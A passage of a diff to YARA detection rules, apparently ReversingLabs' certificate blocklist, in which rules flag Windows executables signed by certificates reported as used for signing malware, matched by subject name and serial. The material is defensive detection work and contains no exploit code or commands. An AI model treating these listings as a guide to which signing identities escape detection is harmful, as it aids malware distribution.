uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sportsonline24 B.V." and ( pe.signatures [ i ] . serial == "00:82:cb:93:59:3b:65:81:00:cd:d7:a0:0c:87:42:87:f2" or pe.signatures [ i ] . serial == "82:cb:93:59:3b:65:81:00:cd:d7:a0:0c:87:42:87:f2" ) and 1605117874 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4A7F07C5D4Ad2E23F9E8E03F0E229Dd4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9A8Bcfd05F86B15D0C99F50Cf414Bd00 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "76be58d9-d1a3-5dec-807e-941714be80f9" + id = "4446aead-9505-545a-8d3a-6ad844d348d3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12572-L12588" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6578-L6596" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6dc2bfac77117e294cacc772f7bfaea8b2e3caa26a0afd3729d517e91ca20ea5" + logic_hash = "803d70dddeff51b753b577ea196b12570847c6875ae676a2d12cf1ca9323be34" score = 75 quality = 90 tags = "INFO, FILE" @@ -23861,21 +46255,21 @@ rule REVERSINGLABS_Cert_Blocklist_4A7F07C5D4Ad2E23F9E8E03F0E229Dd4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Danalis LLC" and pe.signatures [ i ] . serial == "4a:7f:07:c5:d4:ad:2e:23:f9:e8:e0:3f:0e:22:9d:d4" and 1608681600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AI Software a.s." and ( pe.signatures [ i ] . serial == "00:9a:8b:cf:d0:5f:86:b1:5d:0c:99:f5:0c:f4:14:bd:00" or pe.signatures [ i ] . serial == "9a:8b:cf:d0:5f:86:b1:5d:0c:99:f5:0c:f4:14:bd:00" ) and 1592442000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_F5F9C8F8C33E4Ce84Dd48Fcb03Ccb075 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_95E5793F2Abe0B4Ec9Be54Fd24F76Ae5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "74203aa1-e5d0-59d9-b9f8-b79f5fbe271e" + id = "6b992971-6a1f-53e3-8651-f25a6b761c41" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12590-L12608" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6598-L6616" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ac3bab3f5a93099f39b0862b419346d1eb3d0f75d86e121ba30626d496c46c57" + logic_hash = "bd198665ae952e11c91adc329908e3cd55a55365875200cd81d2f71fd092f1fe" score = 75 quality = 90 tags = "INFO, FILE" @@ -23885,21 +46279,21 @@ rule REVERSINGLABS_Cert_Blocklist_F5F9C8F8C33E4Ce84Dd48Fcb03Ccb075 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Abdulkadir \\xC5\\x9Eahin" and ( pe.signatures [ i ] . serial == "00:f5:f9:c8:f8:c3:3e:4c:e8:4d:d4:8f:cb:03:cc:b0:75" or pe.signatures [ i ] . serial == "f5:f9:c8:f8:c3:3e:4c:e8:4d:d4:8f:cb:03:cc:b0:75" ) and 1545004800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kommservice LLC" and ( pe.signatures [ i ] . serial == "00:95:e5:79:3f:2a:be:0b:4e:c9:be:54:fd:24:f7:6a:e5" or pe.signatures [ i ] . serial == "95:e5:79:3f:2a:be:0b:4e:c9:be:54:fd:24:f7:6a:e5" ) and 1604933746 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_57Fc55239F21F139978609E323097132 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_133565779808C3B79D8E3F70A9C3Ffac : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e71d575c-5a30-5158-80ee-3508cdaf5636" + id = "bc3f54a6-723d-5de5-9a59-2be8a005cedc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12610-L12626" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6618-L6634" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "030bb847e524e672ee382e0284ba3f027920f60c70bbd153d4b9cdd2669e6a99" + logic_hash = "b9fb2e3cc150b0278e67c673f7c01174c30b2cc4458c9c5e573661071795b793" score = 75 quality = 90 tags = "INFO, FILE" @@ -23909,21 +46303,21 @@ rule REVERSINGLABS_Cert_Blocklist_57Fc55239F21F139978609E323097132 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aidem Media Limited" and pe.signatures [ i ] . serial == "57:fc:55:23:9f:21:f1:39:97:86:09:e3:23:09:71:32" and 1501632000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Istok" and pe.signatures [ i ] . serial == "13:35:65:77:98:08:c3:b7:9d:8e:3f:70:a9:c3:ff:ac" and 1605019819 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Eeefec4308Abe63323600E1608F5E6F2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7E0Ccda0Ef37Acef6C2Ebe4538627E5C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "265f70f4-f8cf-52cf-8d9b-ddfefb8a1b79" + id = "4668ceb3-8bf2-5be4-9a1a-d0d902c35cf0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12628-L12646" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6636-L6654" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "71ab4bd7e85155bfbc1612941c5f15c409629b116258c38b79bd808512df006a" + logic_hash = "f13f9b70a2a3187522e4fff45a8a425863ad6242f82592aa9319c8d5fddeeefa" score = 75 quality = 90 tags = "INFO, FILE" @@ -23933,21 +46327,21 @@ rule REVERSINGLABS_Cert_Blocklist_Eeefec4308Abe63323600E1608F5E6F2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YUPITER-STROI, OOO" and ( pe.signatures [ i ] . serial == "00:ee:ef:ec:43:08:ab:e6:33:23:60:0e:16:08:f5:e6:f2" or pe.signatures [ i ] . serial == "ee:ef:ec:43:08:ab:e6:33:23:60:0e:16:08:f5:e6:f2" ) and 1491177600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Orangetree B.V." and ( pe.signatures [ i ] . serial == "00:7e:0c:cd:a0:ef:37:ac:ef:6c:2e:be:45:38:62:7e:5c" or pe.signatures [ i ] . serial == "7e:0c:cd:a0:ef:37:ac:ef:6c:2e:be:45:38:62:7e:5c" ) and 1606159604 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Ecd460Ce14Bd8Ef2926Da2Cd9A44176 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Bad35Fd70025D46C56B89E32B1A3954C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "94128695-0206-5c04-b792-34400f8ce890" + id = "871e399f-8498-5d66-ab5e-24e48491124f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12648-L12664" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6656-L6674" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58fa244c125415ef7a3cf0feb79add4db7c84f94c23e5d27e840fb17c18d67ef" + logic_hash = "1020250fc5030e50bc1e7d0f0c5a77e462a53f47bfcc4383c682b34fed567492" score = 75 quality = 90 tags = "INFO, FILE" @@ -23957,21 +46351,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Ecd460Ce14Bd8Ef2926Da2Cd9A44176 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rabah Azrarak" and pe.signatures [ i ] . serial == "0e:cd:46:0c:e1:4b:d8:ef:29:26:da:2c:d9:a4:41:76" and 1463035153 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fort LLC" and ( pe.signatures [ i ] . serial == "00:ba:d3:5f:d7:00:25:d4:6c:56:b8:9e:32:b1:a3:95:4c" or pe.signatures [ i ] . serial == "ba:d3:5f:d7:00:25:d4:6c:56:b8:9e:32:b1:a3:95:4c" ) and 1604937337 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5E75E997F3D70Bb8C182D56B25B7D836 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7B91468122273Aa32B7Cfc80C331Ea13 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3578b97f-1d87-517a-8ea9-17606017e46a" + id = "2a949015-3b7b-5123-8df1-f2199ef636c9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12666-L12682" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6676-L6692" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a2c6a57759fb0717951f83a32c00deeae82cad772b6cb7f60fa96232b6b82560" + logic_hash = "49d6fd8b325df4bc688275a09cee35e1040172eb6f3680aa2b6f0f3640c0782e" score = 75 quality = 90 tags = "INFO, FILE" @@ -23981,21 +46375,21 @@ rule REVERSINGLABS_Cert_Blocklist_5E75E997F3D70Bb8C182D56B25B7D836 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Primetech Ltd." and pe.signatures [ i ] . serial == "5e:75:e9:97:f3:d7:0b:b8:c1:82:d5:6b:25:b7:d8:36" and 1324252800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO KBI" and pe.signatures [ i ] . serial == "7b:91:46:81:22:27:3a:a3:2b:7c:fc:80:c3:31:ea:13" and 1586942863 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D5690D94F15315E143Db10Af35497Dc5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3E267B5D14Cdf1F645C1Ec545Cec3Aee : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "324b2e2f-bad7-5ac4-864c-044d99fa01dc" + id = "adff6ae2-076c-5c97-9fea-f95d770a3821" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12684-L12702" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6694-L6710" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4ac17d0f0e4ef2bb5f6cda8e7cb07a641d49c83465a0a80c46ff6e0e752d1847" + logic_hash = "e36ae57d715a71aa7d26dd003d647dfa7ab16d64e5411b6c49831544fc482645" score = 75 quality = 90 tags = "INFO, FILE" @@ -24005,21 +46399,21 @@ rule REVERSINGLABS_Cert_Blocklist_D5690D94F15315E143Db10Af35497Dc5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PET SERVICES d.o.o." and ( pe.signatures [ i ] . serial == "00:d5:69:0d:94:f1:53:15:e1:43:db:10:af:35:49:7d:c5" or pe.signatures [ i ] . serial == "d5:69:0d:94:f1:53:15:e1:43:db:10:af:35:49:7d:c5" ) and 1576195200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO KBI" and pe.signatures [ i ] . serial == "3e:26:7b:5d:14:cd:f1:f6:45:c1:ec:54:5c:ec:3a:ee" and 1579825892 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8223C74185Add0927246F5E33Ebac467 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ae6D3C0269Ef6497E14379C51A8507Ba : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dfe87130-7b2f-5f8a-8c2d-8653c2bd0cd3" + id = "5b8e7730-cb8b-5c51-9784-d944453bc898" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12704-L12722" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6712-L6730" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f700b4f7cdfda9f678c3a5259d4293640c50567ec277c5b3db69756534e2007f" + logic_hash = "23570962c80bddce28a3dee9d4d864cf3cf64018eec6fbcbdd3ca2658c9f660f" score = 75 quality = 90 tags = "INFO, FILE" @@ -24029,21 +46423,21 @@ rule REVERSINGLABS_Cert_Blocklist_8223C74185Add0927246F5E33Ebac467 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOV Virikton" and ( pe.signatures [ i ] . serial == "00:82:23:c7:41:85:ad:d0:92:72:46:f5:e3:3e:ba:c4:67" or pe.signatures [ i ] . serial == "82:23:c7:41:85:ad:d0:92:72:46:f5:e3:3e:ba:c4:67" ) and 1463616000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VELES PROPERTIES LIMITED" and ( pe.signatures [ i ] . serial == "00:ae:6d:3c:02:69:ef:64:97:e1:43:79:c5:1a:85:07:ba" or pe.signatures [ i ] . serial == "ae:6d:3c:02:69:ef:64:97:e1:43:79:c5:1a:85:07:ba" ) and 1578566034 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Dd9E9E1D7C573714E3F567C5380Ae6D0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fd8C468Cc1B45C9Cfb41Cbd8C835Cc9E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "72745795-0261-5b7b-b25e-8220bced90ec" + id = "f0050a52-65d5-54b2-b06d-08812af98948" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12724-L12742" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6732-L6750" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7bbcdb989d53bafbb2bdb694be72d4f7305323c01e8f1eafcb7cd889df165ff6" + logic_hash = "230d33f0d1d31d4cb76bf3b13f109d3cc9ace846daef145e1dc7666b33c8a42a" score = 75 quality = 90 tags = "INFO, FILE" @@ -24053,21 +46447,21 @@ rule REVERSINGLABS_Cert_Blocklist_Dd9E9E1D7C573714E3F567C5380Ae6D0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CREA&COM d.o.o." and ( pe.signatures [ i ] . serial == "00:dd:9e:9e:1d:7c:57:37:14:e3:f5:67:c5:38:0a:e6:d0" or pe.signatures [ i ] . serial == "dd:9e:9e:1d:7c:57:37:14:e3:f5:67:c5:38:0a:e6:d0" ) and 1575849600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pivo ZLoun s.r.o." and ( pe.signatures [ i ] . serial == "00:fd:8c:46:8c:c1:b4:5c:9c:fb:41:cb:d8:c8:35:cc:9e" or pe.signatures [ i ] . serial == "fd:8c:46:8c:c1:b4:5c:9c:fb:41:cb:d8:c8:35:cc:9e" ) and 1604019600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3D5E71 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7C061Baa3118327255161F6A7Fa4E21D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7180b20d-f367-5260-88cd-dd2a1269f89b" + id = "f597956a-d11b-54e4-91b6-0572c0b10279" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12744-L12760" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6752-L6770" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa73ac6569e4bb0084d7b148b2186ec2737a691a133319b21b666aa16bca9f2d" + logic_hash = "4193fce69af03b3521a3cc442b762c52f8585b44fa6b0bd78b9ace171b807ed4" score = 75 quality = 90 tags = "INFO, FILE" @@ -24077,21 +46471,21 @@ rule REVERSINGLABS_Cert_Blocklist_3D5E71 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OF.PL sp. z o.o." and pe.signatures [ i ] . serial == "3d:5e:71" and 1066997730 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YUTAKS, OOO" and ( pe.signatures [ i ] . serial == "00:7c:06:1b:aa:31:18:32:72:55:16:1f:6a:7f:a4:e2:1d" or pe.signatures [ i ] . serial == "7c:06:1b:aa:31:18:32:72:55:16:1f:6a:7f:a4:e2:1d" ) and 1599611338 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C33187Fe848A65E8484Ea492Cb2Cbb18 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_04332C16724Ffeda5868D22Af56Aea43 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fa05113a-a21e-5f21-aae3-b646e5b42dfb" + id = "1e5a2708-2875-50ab-af6b-3be91f38e13f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12762-L12780" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6772-L6788" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b66d67b74d73a143cb5301b232abd5f0f84f058223d4494b924a25dffb49037a" + logic_hash = "6b62d5c7a3c6e3096797cd2f515d86045fa77682638bda44175d05c5b6c5bbc0" score = 75 quality = 90 tags = "INFO, FILE" @@ -24101,21 +46495,21 @@ rule REVERSINGLABS_Cert_Blocklist_C33187Fe848A65E8484Ea492Cb2Cbb18 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SELCUK GUNDOGDU" and ( pe.signatures [ i ] . serial == "00:c3:31:87:fe:84:8a:65:e8:48:4e:a4:92:cb:2c:bb:18" or pe.signatures [ i ] . serial == "c3:31:87:fe:84:8a:65:e8:48:4e:a4:92:cb:2c:bb:18" ) and 1426204800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bespoke Software Solutions Limited" and pe.signatures [ i ] . serial == "04:33:2c:16:72:4f:fe:da:58:68:d2:2a:f5:6a:ea:43" and 1597971601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Fc143Ba34Cabf1De7A4C7F8F4Cdad6D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_030012F134E64347669F3256C7D050C5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "546692ed-2506-56ad-b678-e74b857380a3" + id = "1e61a781-d5fb-5f05-81c4-3cc697ece13c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12782-L12798" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6790-L6806" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ffe25e4478a2245d4e5b330bb9300fb6cb48afb0fe3bd72bd62a589eeee3fe89" + logic_hash = "1a55856bfa4c632b2b0404686dc7ba5e7238b619dd4d2eb68c3d291bc86e52c4" score = 75 quality = 90 tags = "INFO, FILE" @@ -24125,21 +46519,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Fc143Ba34Cabf1De7A4C7F8F4Cdad6D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "World Telecom International Inc." and pe.signatures [ i ] . serial == "6f:c1:43:ba:34:ca:bf:1d:e7:a4:c7:f8:f4:cd:ad:6d" and 1147046400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Futumarket LLC" and pe.signatures [ i ] . serial == "03:00:12:f1:34:e6:43:47:66:9f:32:56:c7:d0:50:c5" and 1604036657 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Ac6268B2E431A2C1369346D175D0E30 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fa3Dcac19B884B44Ef4F81541184D6B0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "12664460-19e1-5b73-8299-cfe19dffc0b4" + id = "574ee0d4-ba7c-5c74-b711-222f92196f4a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12800-L12816" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6808-L6826" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "27efaba9bd9cd116f640007c1e951bb77757efbe148b5f953e71d6621d7f16b2" + logic_hash = "324de84cb8c2f5402c9326749e3456e11312828df2523954fd84f7fb3298fdf3" score = 75 quality = 90 tags = "INFO, FILE" @@ -24149,21 +46543,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Ac6268B2E431A2C1369346D175D0E30 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Install Sync" and pe.signatures [ i ] . serial == "6a:c6:26:8b:2e:43:1a:2c:13:69:34:6d:17:5d:0e:30" and 1436140800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Unicom Ltd" and ( pe.signatures [ i ] . serial == "00:fa:3d:ca:c1:9b:88:4b:44:ef:4f:81:54:11:84:d6:b0" or pe.signatures [ i ] . serial == "fa:3d:ca:c1:9b:88:4b:44:ef:4f:81:54:11:84:d6:b0" ) and 1603958571 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Fc4D9178B8Df2C19E269Ac6F43Dd708 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0E6F4Cb8B06E01C3Bd296Ace3A95F814 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b336ff6c-d94e-5715-bb97-6b60cda90911" + id = "7a829a63-eeb4-50ef-829d-fc13572c1148" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12818-L12834" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6828-L6844" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "41dfe37b464d337268a8bb0e23124df7b50ab966038e8ad33bda81a4d86040ca" + logic_hash = "f3184a9d1fe2a1cf2dcc04d26c284aa9a651d2f00aa28642d7f951550a050138" score = 75 quality = 90 tags = "INFO, FILE" @@ -24173,21 +46567,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Fc4D9178B8Df2C19E269Ac6F43Dd708 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PK Partnership, OOO" and pe.signatures [ i ] . serial == "0f:c4:d9:17:8b:8d:f2:c1:9e:26:9a:c6:f4:3d:d7:08" and 1466553600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D 